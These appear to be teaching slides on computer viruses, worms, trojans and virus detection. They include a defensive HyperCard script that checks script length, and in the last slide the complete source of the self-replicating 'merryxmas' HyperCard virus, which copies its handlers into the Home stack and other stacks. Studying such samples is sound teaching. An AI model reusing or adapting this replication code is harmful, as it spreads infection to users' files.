1. 1 Computer Viruses (and other “Malicious Programs) Computer “Viruses” and related programs have the ability to replicate themselves on an ever increasing number of computers. They originally spread by people sharing floppy disks. Now they spread primarily over the Internet (a “Worm”). Other “Malicious Programs” may be installed by hand on a single machine. They may also be built into widely distributed commercial software packages. These are very hard to detect before the payload activates (Trojan Horses, Trap Doors, and Logic Bombs).

2. 2 Definitions Virus - code that copies itself into other programs. A “Bacteria” replicates until it fills all disk space, or CPU cycles. Payload - harmful things the malicious program does, after it has had time to spread. Worm - a program that replicates itself across the network (usually riding on email messages or attached documents (e.g., macro viruses). Trojan Horse - instructions in an otherwise good program that cause bad things to happen (sending your data or password to an attacker over the net). Logic Bomb - malicious code that activates on an event (e.g., date). Trap Door (or Back Door) - undocumented entry point written into code for debugging that can allow unwanted users. Easter Egg - extraneous code that does something “cool.” A way for programmers to show that they control the product.

3. 3 Taxonomy of Malicious Programs Need Host Program Independent TrapdoorsLogic Bombs Trojan Horses VirusesBacteriaWorms

4. 4 Virus Phases Dormant - waits for a trigger to start replicating Propagation - copies itself into other programs of the same type on a computer. Spreads when the user shares a file with another computer. Usually searches a file for it’s own signature before infecting. Worms (like Melissa) spread over a network connection as executable attachments to email. Triggering - starts delivering payload. Sometimes triggered on a certain date, or after a certain time after infection. Execution - payload function is done. Perhaps it put a funny message on the screen, or wiped the hard disk clean. It may become start the first phase over again.

5. 5 Virus Protection Have a well-known virus protection program, configured to scan disks and downloads automatically for known viruses. Do not execute programs (or "macro's") from unknown sources (e.g., PS files, Hypercard files, MS Office documents, Java,...), if you can help it. Configure MS Word and Excel to not automatically execute macros in documents (reset the defaults). Avoid the most common operating systems and email programs, if possible. 5

6. 6 Types of Viruses Parasitic Virus - attaches itself to executable files as part of their code. Runs whenever the host program runs. Memory-resident Virus - Lodges in main memory as part of the residual operating system. Boot Sector Virus - infects the boot sector of a disk, and spreads when the operating system boots up (original DOS viruses). Stealth Virus - explicitly designed to hide from Virus Scanning programs. Polymorphic - Virus - mutates with every new host to prevent signature detection.

7. 7 Macro Viruses Microsoft Office applications allow “macros” to be part of the document. The macro could run whenever the document is opened, or when a certain command is selected (Save File). A macro virus can delete files, generate email, edit letters, or mail itself to everyone on internal mail-address lists.

8. 8 Virus Detection 1st Generation, Scanners: searched files for any of a library of known virus “signatures.” Checked executable files for length changes. 2nd Generation, Heuristic Scanners: looks for more general signs than specific signatures (code segments common to many viruses). Checked files for checksum or hash changes. 3rd Generation, Activity Traps: stay resident in memory and look for certain patterns of software behavior (e.g., scanning files). 4th Generation, Full Featured: combine the best of the techniques above.

9. 9 on stackScrLenChk --- JAC generic virus protection 11-8-95 if the short name of this stack = "Home" then put the script of stack "Home" into s put (the number of chars in s) into xChr if (xChr ≠ card field "StkScrLen") then answer "Home Stack Script Length Now" && xChr && ". It was" && ¬ (card field "StkScrLen") & ". Could it be a VIRUS ?" with "Leave" or "Reset" if (It = "Reset") then put xChr into card field "StkScrLen" end if set the visible of card field "StkScrLen" to False end if end stackScrLenChk

10. 10 on openbackground --merryxmas merryxmas "on openbackground --merryxmas" end openbackground on closebackground --merryxmas merryxmas "on closebackground --merryxmas" end closebackground on idle --merryxmas put "on idle --merryxmas" into key if not (the script of this stack contains key) then merryxmas key end idle on merryxmas key set lockscreen to true set lockmessages to true set lockrecent to true put the userlevel into oldlevel set the userlevel to 5 put the script of this stack into stackscript put the script of stack "Home" into homescript put "on openbackground --merryxmas" into hostscript if stackscript contains key then if homescript contains key then else set cantmodify of stack "Home" to false if not (cantmodify of stack "Home") then set the script of stack "Home" to ¬ homescript & return & lastlines(hostscipt,stackscript) end if else if homescript contains key then set cantmodify of this stack to false if not (cantmodify of this stack) then set the script of this stack to ¬ stackscript & return & lastlines(hostscript,homescript) end if else -- domenu "Quit Hypercard" end if set the userlevel to oldlevel set lockrecent to false set lockmessages to false set lockscreen to false end merryxmas function lastlines afterline,stuff put (number of lines in stuff) into total put line (total-53) to total of stuff into host repeat with x = 55 to total put line (total-x+1) of stuff & return & host into host if line 1 of host is afterline then exit repeat end repeat return host end lastlines